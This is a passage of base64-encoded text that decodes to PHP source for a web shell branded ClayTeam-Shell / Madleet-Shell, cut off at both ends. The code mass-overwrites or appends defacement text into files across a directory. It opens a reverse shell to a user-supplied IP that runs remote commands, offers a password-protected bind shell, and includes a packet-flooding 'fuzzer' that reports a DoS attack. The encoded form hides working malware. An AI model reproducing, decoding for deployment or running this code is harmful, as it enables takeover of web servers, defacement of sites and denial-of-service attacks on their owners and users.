c3NhZ2UnXSkgJiYgCiAgICAkX0dFVFsnbWVzc2FnZSddICE9ICcnICAKICAgICkgCiAgICB7IAogICAgICAgICRkaXIgPSAkX0dFVFsnZGlyJ107IAogICAgICAgICRmaWxldHlwZSA9ICRfR0VUWydmaWxldHlwZSddOyAKICAgICAgICAkbWVzc2FnZSA9ICRfR0VUWydtZXNzYWdlJ107IAogICAgICAgICAKICAgICAgICAkbW9kZSA9ICJhIjsgLy9kZWZhdWx0IG1vZGUgCiAgICAgICAgIAogICAgICAgICAKICAgICAgICAvLyBNb2RlcyBCZWdpbiAKICAgICAgICAgCiAgICAgICAgaWYoJF9HRVRbJ21vZGUnXSA9PSAnQXBlbmRlcicpIAogICAgICAgIHsgCiAgICAgICAgICAgICRtb2RlID0gImEiOyAKICAgICAgICB9IAogICAgICAgIGlmKCRfR0VUWydtb2RlJ10gPT0gJ092ZXJ3cml0ZXInKSAKICAgICAgICB7IAogICAgICAgICAgICAkbW9kZSA9ICJ3IjsgCiAgICAgICAgfSAKICAgICAgICAgCiAgICAgICAgaWYoJGhhbmRsZSA9IG9wZW5kaXIoJGRpcikpIAogICAgICAgIHsgCiAgICAgICAgICAgID8+IAogICAgICAgICAgICBPdmVyd3JpdHRlbiBGaWxlcyA6LSAKICAgICAgICAgICAgPHVsIHN0eWxlPSJwYWRkaW5nOiAxMHB4OyIgPiAKICAgICAgICAgICAgPD9waHAgCiAgICAgICAgICAgIHdoaWxlKCgkZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpICE9PSBGYWxzZSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBpZigocHJlZ19tYXRjaCgiLyRmaWxldHlwZSIuJyQnLicvJywgJGZpbGUgLCAkbWF0Y2hlcykgIT0gMCkgJiYgKHByZWdfbWF0Y2goJy8nLiRmaWxlLickLycsICRzZWxmICwgJG1hdGNoZXMpICE9IDEpKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgPz4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0iZmlsZSI+PGEgaHJlZj0iPD9waHAgZWNobyAiJHNlbGY/b3Blbj0kZGlyJGZpbGUiPz4iPjw/cGhwIGVjaG8gJGZpbGU7ID8+PC9hPjwvbGk+IAogICAgICAgICAgICAgICAgICAgIDw/cGhwIAogICAgICAgICAgICAgICAgICAgIGVjaG8gIlxuIjsgCiAgICAgICAgICAgICAgICAgICAgJGZkID0gZm9wZW4oJGRpci4kZmlsZSwkbW9kZSk7IAogICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZmQsJG1lc3NhZ2UpOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgID8+IAogICAgICAgICAgICA8L3VsPiAKICAgICAgICAgICAgPD9waHAgCiAgICAgICAgfSAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICA/PiAKICAgICAgICA8dGFibGUgaWQ9Im1hcmdpbnMiID4gCiAgICAgICAgPHRyPiAKICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSdHRVQnPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaW5qZWN0b3IiLz4gICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMDAiIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBEaXJlY3RvcnkgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvIGdldGN3ZCgpLiRTRVBBUkFUT1I7ID8+IiAvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICBNb2RlIAogICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogNDAwcHg7IiBuYW1lPSJtb2RlIiBjbGFzcz0iY21kIj4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJBcGVuZGVyIj5BcGVuZGVyPC9vcHRpb24+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iT3ZlcndyaXRlciI+T3ZlcndyaXRlcjwvb3B0aW9uPiAKICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+IAogICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBGaWxlIFR5cGUgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9ImZpbGV0eXBlIiB2YWx1ZT0iLnBocCIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScucGhwJzsiIC8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlIiBjb2xzPSIxNzMiIHJvd3M9IjEwIiBjbGFzcz0iY21kIj5BbGwgaSByZW1lbWJlciBhcmUgdGhvc2UgbG9uZWx5IG5pZ2h0cyB3aGVuIGkgd2FzIGRlZmFjaW5nIHRob3NlIGluc2VjdXJlIHdlYnNpdGVzITwvdGV4dGFyZWE+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDM5MHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iSW5qZWN0IDpEIi8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgPC9mb3JtPiAKICAgICAgICA8L3RhYmxlPiAKICAgICAgICA8P3BocCAKICAgIH0gCn0gCi8vIENvbm5lY3QgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydjb25uZWN0J10pKSAKeyAKICAgIGlmKGlzc2V0KCRfUE9TVFsnaXAnXSkgJiYgCiAgICAgaXNzZXQoJF9QT1NUWydwb3J0J10pICYmICAKICAgICAgICAkX1BPU1RbJ2lwJ10gIT0gIiIgJiYgCiAgICAgICAgJF9QT1NUWydwb3J0J10gIT0gIiIgCiAgICAgKSAKICAgIHsgCiAgICAgICAgZWNobyAiPHA+VGhlIFByb2dyYW0gaXMgbm93IHRyeWluZyB0byBjb25uZWN0ITwvcD4iOyAKICAgICAgICAkaXAgPSAkX1BPU1RbJ2lwJ107ICAKICAgICAgICAkcG9ydD0kX1BPU1RbJ3BvcnQnXTsgIAogICAgICAgICRzb2NrZmQ9ZnNvY2tvcGVuKCRpcCAsICRwb3J0ICwgJGVycm5vLCAkZXJyc3RyICk7ICAKICAgICAgICBpZigkZXJybm8gIT0gMCkgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+PGI+JGVycm5vPC9iPiA6ICRlcnJzdHI8L2ZvbnQ+IjsgCiAgICAgICAgfSAKICAgICAgICBlbHNlIGlmICghJHNvY2tmZCkgCiAgICAgICAgeyAgCiAgICAgICAgICAgICAgICRyZXN1bHQgPSAiPHA+RmF0YWwgOiBBbiB1bmV4cGVjdGVkIGVycm9yIHdhcyBvY2N1cmVkIHdoZW4gdHJ5aW5nIHRvIGNvbm5lY3QhPC9wPiI7IAogICAgICAgIH0gIAogICAgICAgIGVsc2UgCiAgICAgICAgeyAgCiAgICAgICAgICAgIGZwdXRzICgkc29ja2ZkICwiXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuQ2xheVRlYW0tU2hlbGwgfCBDMGQzZCBieSBXaG9BbWkgfCBUdW5pc2lhXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOyAKICAgICAgICAgJHB3ZCA9IGV4ZWNfYWxsKCJwd2QiKTsgCiAgICAgICAgICRzeXNpbmZvID0gZXhlY19hbGwoInVuYW1lIC1hIik7IAogICAgICAgICAkaWQgPSBleGVjX2FsbCgiaWQiKTsgCiAgICAgICAgICRkYXRlQW5kVGltZSA9IGV4ZWNfYWxsKCJ0aW1lIC90ICYgZGF0ZSAvVCIpOyAKICAgICAgICAgJGxlbiA9IDEzMzc7IAogICAgICAgICBmcHV0cygkc29ja2ZkICwkc3lzaW5mbyAuICJcbiIgKTsgCiAgICAgICAgIGZwdXRzKCRzb2NrZmQgLCRwd2QgLiAiXG4iICk7IAogICAgICAgICBmcHV0cygkc29ja2ZkICwkaWQgLiJcblxuIiApOyAKICAgICAgICAgZnB1dHMoJHNvY2tmZCAsJGRhdGVBbmRUaW1lLiJcblxuIiApOyAKICAgICAgICAgd2hpbGUoIWZlb2YoJHNvY2tmZCkpIAogICAgICAgICB7ICAgCiAgICAgICAgICAgICRjbWRQcm9tcHQgPSIoQ2xheVRlYU0tU2hlbGwpWyRdPiAiOyAKICAgICAgICAgICAgZnB1dHMgKCRzb2NrZmQgLCAkY21kUHJvbXB0ICk7ICAKICAgICAgICAgICAgJGNvbW1hbmQ9IGZnZXRzKCRzb2NrZmQsICRsZW4pOyAKICAgICAgICAgICAgZnB1dHMoJHNvY2tmZCAsICJcbiIgLiBleGVjX2FsbCgkY29tbWFuZCkgLiAiXG5cbiIpOyAKICAgICAgICB9ICAKICAgICAgICBmY2xvc2UoJHNvY2tmZCk7ICAKICAgICAgICB9ICAKICAgIH0gCiAgICBlbHNlIGlmKCAKICAgIGlzc2V0KCRfUE9TVFsncG9ydCddKSAmJiAKICAgIGlzc2V0KCRfUE9TVFsncGFzc3dkJ10pICYmICAKICAgICRfUE9TVFsncG9ydCddICE9ICIiICYmIAogICAgJF9QT1NUWydwYXNzd2QnXSAhPSAiIiAgKSAKICAgIHsgCiAgICAgICAgLy8gU2V0IHRpbWUgbGltaXQgdG8gaW5kZWZpbml0ZSBleGVjdXRpb24gCiAgICAgICAgc2V0X3RpbWVfbGltaXQgKDApOyAKICAgICAgICAgCiAgICAgICAgIAogICAgICAgIC8vIFNldCB0aGUgaXAgYW5kIHBvcnQgd2Ugd2lsbCBsaXN0ZW4gb24gCiAgICAgICAgJGFkZHJlc3MgPSAnMTI3LjAuMC4xJzsgCiAgICAgICAgJHBvcnQgPSAkX1BPU1RbJ3BvcnQnXTsgCiAgICAgICAgJHBhc3MgPSAkX1BPU1RbJ3Bhc3N3ZCddOyAKCiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCJzb2NrZXRfY3JlYXRlIikpIAogICAgICAgIHsgCiAgICAgICAgLy8gQ3JlYXRlIGEgVENQIFN0cmVhbSBzb2NrZXQgCiAgICAgICAgJHNvY2tmZCA9IHNvY2tldF9jcmVhdGUoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAKCiAgICAgICAKICAgICAgICAvLyBCaW5kIHRoZSBzb2NrZXQgdG8gYW4gYWRkcmVzcy9wb3J0IAogICAgICAgICAKICAgICAgICAgCiAgICAgICAgaWYoc29ja2V0X2JpbmQoJHNvY2tmZCwgJGFkZHJlc3MsICRwb3J0KSA9PSBGQUxTRSkgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiQ2FudCBCaW5kIHRvIHRoZSBzcGVjaWZpZWQgcG9ydCBhbmQgYWRkcmVzcyEiOyAKICAgICAgICB9IAogICAgICAgIC8vIFN0YXJ0IGxpc3RlbmluZyBmb3IgY29ubmVjdGlvbnMgCiAgICAgICAgc29ja2V0X2xpc3Rlbigkc29ja2ZkLDE1KTsgCiAgICAgICAgIAogICAgIAogICAgICAgICRwYXNzd29yZFByb21wdCA9ICJcbj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XG5DbGF5VGVhbS1TaGVsbCB8IEMwZDNkIGJ5IFdob0FtaSB8IFR1bmlzaWFcbj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XG5cbjB4UGFzc3dvcmQgOiAiOyAKICAgICAgICAgCiAgICAgICAgLyogQWNjZXB0IGluY29taW5nIHJlcXVlc3RzIGFuZCBoYW5kbGUgdGhlbSBhcyBjaGlsZCBwcm9jZXNzZXMgKi8gCiAgICAgICAgJGNsaWVudCA9IHNvY2tldF9hY2NlcHQoJHNvY2tmZCk7IAogICAgICAgICAKCiAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAkcGFzc3dvcmRQcm9tcHQpOyAKICAgICAgICAvLyBSZWFkIHRoZSBwYXNzIGZyb20gdGhlIGNsaWVudCAKICAgICAgICAkaW5wdXQgPSBzb2NrZXRfcmVhZCgkY2xpZW50LCBzdHJsZW4oJHBhc3MpICsgMik7IC8vICsyIGZvciBcclxuIAogICAgICAgIGlmKHRyaW0oJGlucHV0KSA9PSAkcGFzcykgCiAgICAgICAgeyAKICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAiXG5cbiIpOyAKICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAoJG9zID09ICJXaW5kb3dzIikgPyBleGVjX2FsbCgiZGF0ZSAvdCAmIHRpbWUgL3QiKSAgLiAiXG4iIC4gZXhlY19hbGwoInZlciIpIDogZXhlY19hbGwoImRhdGUiKSAuICJcbiIgLiBleGVjX2FsbCgidW5hbWUgLWEiKSk7IAogICAgICAgICAgICBzb2NrZXRfd3JpdGUoJGNsaWVudCAsICJcblxuIik7IAogICAgICAgICAgICB3aGlsZSgxKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIC8vIFByaW50IENvbW1hbmQgcHJvbXB0IAogICAgICAgICAgICAgICAgJGNvbW1hbmRQcm9tcHQgPSIoTWFkbGVldC1TaGVsbClbJF0+ICI7IAogICAgICAgICAgICAgICAgJG1heENtZExlbiA9IDMxMzM3OyAKICAgICAgICAgICAgICAgIHNvY2tldF93cml0ZSgkY2xpZW50LCRjb21tYW5kUHJvbXB0KTsgCiAgICAgICAgICAgICAgICAkY21kID0gc29ja2V0X3JlYWQoJGNsaWVudCwkbWF4Q21kTGVuKTsgCiAgICAgICAgICAgICAgICBpZigkY21kID09IEZBTFNFKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgZWNobyAiVGhlIGNsaWVudCBDbG9zZWQgdGhlIGNvbmVjdGlvbiEiOyAKICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCBleGVjX2FsbCgkY21kKSk7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgZWxzZSAKICAgICAgICB7IAogICAgICAgICAgICBlY2hvICJXcm9uZyBQYXNzd29yZCEiOyAKICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQsICJzVSh8PCAtIDBGRiBCaXRjaCFcblxuIik7IAogICAgICAgIH0gCiAgICAgICAgc29ja2V0X3NodXRkb3duKCRjbGllbnQsIDIpOyAKICAgICAgICBzb2NrZXRfY2xvc2UoJHNvY2tldCk7IAogICAgICAgICAKICAgICAgICAvLyBDbG9zZSB0aGUgY2xpZW50IChjaGlsZCkgc29ja2V0IAogICAgICAgIC8vc29ja2V0X2Nsb3NlKCRjbGllbnQpOyAKICAgICAgICAvLyBDbG9zZSB0aGUgbWFzdGVyIHNvY2tldHMgCiAgICAgICAgLy9zb2NrZXRfY2xvc2UoJHNvY2spOyAKICAgICAgICB9IAogICAgICAgIGVsc2UgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiU29ja2V0IENvbmVjdGlvbnMgbm90IEFsbG93ZWQvU3VwcG9ydGVkIGJ5IHRoZSBzZXJ2ZXIhIDxiciAvPiI7IAogICAgICAgIH0gCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICA/PiAgICAgICAgCiAgICA8dGFibGUgY2xhc3M9ImJpbmQiIGFsaWduPSJjZW50ZXIiID4gCiAgICA8dHI+IAogICAgICAgIDx0aCBjbGFzcz0iaGVhZGVyIiBjb2xzcGFuPSIxIiB3aWR0aD0iNTBweCI+QmFjayBDb25uZWN0PC90aD4gCiAgICAgICAgPHRoIGNsYXNzPSJoZWFkZXIiIGNvbHNwYW49IjEiIHdpZHRoPSI1MHB4Ij5CaW5kIFNoZWxsPC90aD4gCiAgICA8L3RyPiAKICAgIDx0cj4gCiAgICAgICAgPGZvcm0gbWV0aG9kPSdQT1NUJyA+ICAgCiAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgIDx0YWJsZSBzdHlsZT0iYm9yZGVyLXNwYWNpbmc6IDZweDsiPiAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkPklQIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0id2lkdGg6IDIwMHB4OyIgY2xhc3M9ImNtZCIgbmFtZT0iaXAiIHZhbHVlPSI8P3BocCBnZXRDbGllbnRJcCgpOz8+IiAvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+UG9ydCA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBjbGFzcz0iY21kIiBuYW1lPSJwb3J0IiBzaXplPSc1JyB2YWx1ZT0iMzEzMzciLz4mbmJzcDsmbmJzcDs8aW5wdXQgc3R5bGU9IndpZHRoOiA5MHB4OyIgY2xhc3M9Im93biIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCEiLz48L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICA8L3RhYmxlPiAKICAgICAgICAgPC90ZD4gCiAgICAgICAgIDwvZm9ybT4gIAogICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPiAKICAgICAgICAgPHRkPiAKICAgICAgICAgICAgPHRhYmxlIHN0eWxlPSJib3JkZXItc3BhY2luZzogNnB4OyI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+UG9ydDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0id2lkdGg6IDIwMHB4OyIgY2xhc3M9ImNtZCIgbmFtZT0icG9ydCIgdmFsdWU9IjEzMzciIC8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZD5QYXNzd2QgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6IDEwMHB4OyIgY2xhc3M9ImNtZCIgbmFtZT0icGFzc3dkIiBzaXplPSc1JyB2YWx1ZT0iTWFkbGVldCIvPiZuYnNwOyZuYnNwOzxpbnB1dCBzdHlsZT0id2lkdGg6IDkwcHg7IiBjbGFzcz0ib3duIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCaW5kIDpEISIvPjwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgIDwvdGFibGU+IAogICAgICAgICA8L3RkPiAKICAgICAgICAgPC9mb3JtPiAKICAgIDwvdHI+IAogICAgPC90YWJsZT4gCiAgICA8cCBhbGlnbj0iY2VudGVyIiBzdHlsZT0iY29sb3I6IHJlZDsiID5Ob3RlIDogQWZ0ZXIgY2xpY2tpbmcgU3VibWl0IGJ1dHRvbiAsIFRoZSBicm93c2VyIHdpbGwgc3RhcnQgbG9hZGluZyBjb250aW51b3VzbHkgLCBEb250IGNsb3NlIHRoaXMgd2luZG93ICwgVW5sZXNzIHlvdSBhcmUgZG9uZSE8L3A+IAo8P3BocCAKICAgIH0gCn0gCgovL2Z1enplciAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2Z1enonXSkpIAp7IAogICAgaWYoaXNzZXQoJF9HRVRbJ2lwJ10pICYmIAogICAgaXNzZXQoJF9HRVRbJ3BvcnQnXSkgJiYgCiAgICBpc3NldCgkX0dFVFsndGltZXMnXSkgJiYgCiAgICBpc3NldCgkX0dFVFsndGltZSddKSAmJiAKICAgIGlzc2V0KCRfR0VUWydtZXNzYWdlJ10pICYmIAogICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2VNdWx0aXBsaWVyJ10pICYmIAogICAgJF9HRVRbJ21lc3NhZ2UnXSAhPSAiIiAmJiAKICAgICRfR0VUWyd0aW1lJ10gIT0gIiIgJiYgCiAgICAkX0dFVFsndGltZXMnXSAhPSAiIiAmJiAKICAgICRfR0VUWydwb3J0J10gIT0gIiIgJiYgCiAgICAkX0dFVFsnaXAnXSAhPSAiIiAmJiAKICAgICRfR0VUWydtZXNzYWdlTXVsdGlwbGllciddICE9ICIiIAogICAgKSAKICAgIHsgCiAgICAgICAkSVA9JF9HRVRbJ2lwJ107IAogICAgICAgJHBvcnQ9JF9HRVRbJ3BvcnQnXTsgCiAgICAgICAkdGltZXMgPSAkX0dFVFsndGltZXMnXTsgCiAgICAgICAkdGltZW91dCA9ICRfR0VUWyd0aW1lJ107IAogICAgICAgJHNlbmQgPSAwOyAKICAgICAgICRlbmRpbmcgPSAiIjsgCiAgICAgICAkbXVsdGlwbGllciA9ICRfR0VUWydtZXNzYWdlTXVsdGlwbGllciddOyAKICAgICAgICRkYXRhID0gIiI7IAogICAgICAgJG1vZGU9InRjcCI7IAogICAgICAgJGRhdGEgLj0gIkdFVCAvIjsgCiAgICAgICAkZW5kaW5nIC49ICIgSFRUUC8xLjFcblxyXG5cclxuXHJcblxyIjsgCiAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAidGNwIikgCiAgICAgICAgeyAKICAgICAgICAgICAgJG1vZGUgPSAidGNwIjsgCiAgICAgICAgfSAKICAgICAgICB3aGlsZSgkbXVsdGlwbGllci0tKSAKICAgICAgICB7IAogICAgICAgICAgICAkZGF0YSAuPSB1cmxlbmNvZGUoJF9HRVRbJ21lc3NhZ2UnXSk7IAogICAgICAgIH0gCiAgICAgICAgJGRhdGEgLj0gIiVzJXMlcyVzJWQleCVjJW4lbiVuJW4iOy8vIGFkZCBzb21lIGZvcm1hdCBzdHJpbmcgc3BlY2lmaWVycyAKICAgICAgICAkZGF0YSAuPSAiYnktTWFkbGVldC1zaGVsbCIuJGVuZGluZzsgCiAgICAgICAgJGxlbmd0aCA9IHN0cmxlbigkZGF0YSk7IAogICAgICAgICAKICAgICAgICAgCiAgICAgICBlY2hvICJTZW5kaW5nIERhdGEgOi0gPGJyIC8+IDxwIGFsaWduPSdjZW50ZXInPiRkYXRhPC9wPiI7IAogICAgICAgICAKICAgICAgIHByaW50ICJJIGFtIGF0IG1hIFdvcmsgbm93IDpEIDtEISBEb250IGNsb3NlIHRoaXMgd2luZG93IHVudGlsbCB5b3UgcmVjaWV2ZSBhIG1lc3NhZ2UgPGJyPiI7IAogICAgICAgZm9yKCRpPTA7JGk8JHRpbWVzOyRpKyspIAogICAgICAgeyAKICAgICAgICAgICAgJHNvY2tldCA9IGZzb2Nrb3BlbigiJG1vZGU6Ly8kSVAiLCAkcG9ydCwgJGVycm9yLCAkZXJyb3JTdHJpbmcsICR0aW1lb3V0KTsgCiAgICAgICAgICAgIGlmKCRzb2NrZXQpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgZndyaXRlKCRzb2NrZXQgLCAkZGF0YSAsICRsZW5ndGggKTsgCiAgICAgICAgICAgICAgICBmY2xvc2UoJHNvY2tldCk7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnRnV6emluZyBDb21wbGV0ZWQhJyk7PC9zY3JpcHQ+IjsgCiAgICAgICAgZWNobyAiRE9TIGF0dGFjayBhZ2FpbnN0ICRtb2RlOi8vJElQOiRwb3J0IGNvbXBsZXRlZCBvbiAiLmRhdGUoImg6aTpzIEEiKS4iPGJyIC8+IjsgCiAgICAgICAgZWNobyAiVG90YWwgTnVtYmVyIG9mIFBhY2tldHMgU2VudCA6ICIgLiAkdGltZXMgLiAiPGJyIC8+IjsgCiAgICAgICAgZWNobyAiVG90YWwgRGF0YSBTZW50ID0gIi4gSHVtYW5SZWFkYWJsZUZpbGVzaXplKCR0aW1lcyokbGVuZ3RoKSAuICI8YnIgLz4iOyAgCiAgICAgICAgZWNobyAiRGF0YSBwZXIgcGFja2V0ID0gIiAuIEh1bWFuUmVhZGFibGVGaWxlc2l6ZSgkbGVuZ3RoKSAuICI8YnIgLz4iOyAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICA/PiAKICAgICAgICA8Zm9ybSBtZXRob2Q9IkdFVCI+IAogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmdXp6IiAvPiAKICAgICAgICAgICAgPHRhYmxlIGlkPSJtYXJnaW5zIj4gCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDAwIiBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgSVAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9ImlwIiB2YWx1ZT0iMTI3LjAuMC4xIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICcxMjcuMC4wLjEnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nMTI3LjAuMC4xJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBQb3J0IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJwb3J0IiB2YWx1ZT0iODAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzgwJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzgwJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBUaW1lb3V0IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iY21kIiBuYW1lPSJ0aW1lIiB2YWx1ZT0iNSIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnNScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSc1JzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIC